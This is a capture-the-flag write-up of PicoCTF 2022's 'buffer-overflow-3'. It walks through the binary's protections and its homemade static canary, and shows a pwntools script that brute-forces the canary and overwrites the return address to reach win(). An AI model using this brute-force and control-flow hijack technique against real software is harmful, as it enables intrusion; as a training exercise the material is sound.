PicoCTF 2022: buffer-overflow-3

Recon

Today’s executable is a 32-bit binary:

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=880ddfdc7ef13c4139ab8a80cc3d8225251a331f, for GNU/Linux 3.2.0, not stripped

Checking the enabled protections:

pwndbg> checksec
File:     /home/qelal/PicoCTF/bo3/vuln
Arch:     i386
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

Taking a look at the source code (some non-needed parts redacted):

void win() { // reads the flag... }

char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'canary.txt' in this directory with your",
                    "own debugging canary.\n");
    fflush(stdout);
    exit(0);
  }

  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}

void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE);
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
      fflush(stdout);
      exit(0);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){
  read_canary();
  vuln();
  return 0;
}

As we can see, at some point the program reads for user input and asks how many bytes we want to write into the buffer. As the buffer is BUFSIZE or 64 bytes long, and as the read call follows our byte-count, this leads to an obvious buffer overflow.

The problem is that, this time, it won’t be as easy to exploit, as the developer rolled his own stack canary system which we will have to bypass…

(Of course a better protection would simply be to enable regular canaries, but it was written like so for the purposes of the challenge.)

Getting around the canary

Reading the source, we find that the canary is supplied in a canary.txt file and it is CANARY_SIZE or 4 bytes long. This is pretty short…

As it is supplied from a file, we can assume it does not change between executions. Terrible mistake because this opens a bruteforcing attack vector for us.

The bruteforcing attack will work as follows: first, we will inject padding corresponding to the offset to the canary (probably 64 bytes as the buffer is declared right next to our user input buffer in the source code, and it is a round number from a binary standpoint).

Then, we will inject a guess letter, thus overwriting the 1st byte of the canary with our guess. If it is right, then the program will continue normal execution. But if it is wrong, it will throw us a stack smashing error, like so:

$ ./vuln 
How Many Bytes will You Write Into the Buffer?
> 100
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
***** Stack Smashing Detected ***** : Canary Value Corrupt!

From this change of behavior we can infer that the value we injected is correct, and we can move on to the 2nd position, repeating the same strategy, until we get all 4 bytes of the canary.

When we get the full canary, as it never changes, we can use it however we want, and trigger the win() function by overwriting the return address in EIP.

Finding the EIP offset

However this time we cannot simply inject a cyclic pattern and watch the EIP position. We will have to inject some padding, then our canary, and only then the cyclic pattern. We’ll add these lengths to what the cyclic tool finds as an offset.

pwndbg> cyclic -l eaaa
Finding cyclic pattern of 4 bytes: b'eaaa' (hex: 0x65616161)
Found at offset 16

We have 16 bytes from the end of our guessed canary, so 64 (padding) + 4 (canary) + 16 (cyclic) gives us 84 bytes to EIP. (In fact we don’t really need the total offset, knowing 16 was sufficient.)

Finding win

This is not complicated at all, because the binary is not PIE, so a simple static analysis can be used to find the address we’ll overwrite with:

$ objdump -t vuln | grep win
08049336 g     F .text  000000b3              win

Exploit

Knowing all this, we can now automate our canary bruteforcing and buffer overflow control flow hijack with a Pwntools script:

offset = 64
charset="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
known = ""

# Step 1: bruteforce the canary

print("[+] bruteforcing stack canary...")

for index in range(1, 5):
    for char in charset:
        io = start()
        curr_guess = known+char
        io.sendlineafter(b'> ', str(offset+index).encode())
        io.sendlineafter(b'Input>', offset*b'A' + curr_guess.encode())
        if b'Stack' in io.recvall():
            #print("Fuck, wrong one")
            io.wait()
        else:
            print(f"[+] position {index} -> char '{char}'")
            io.wait()
            known += char
            break

print("[+] canary seems to be: " + known)

# Step 2: find EIP offset (from canary)

eip_offset = 16 
win_addr = p32(0x08049336)

# Step 3: use it in buffer overflow to trigger win()

io = start()
io.sendlineafter(b'> ', str(offset+4+eip_offset+4).encode())
io.sendlineafter(b'Input>', offset*b'A' + known.encode() + eip_offset*b'B' + win_addr)

io.recvall()

And as always, (after some time) we get the precious flag..

[+] Receiving all data: Done (71B)
[DEBUG] Received 0x46 bytes:
    b"Ok... Now Where's the Flag?\n"
    b'picoCTF{Stat1C_c4n4r13s_4R3_b4D_[REDACTED]}\n'
[*] Closed connection to saturn.picoctf.net port 50666

This one was pretty nice, however now I wonder what bypassing real stack canaries looks like…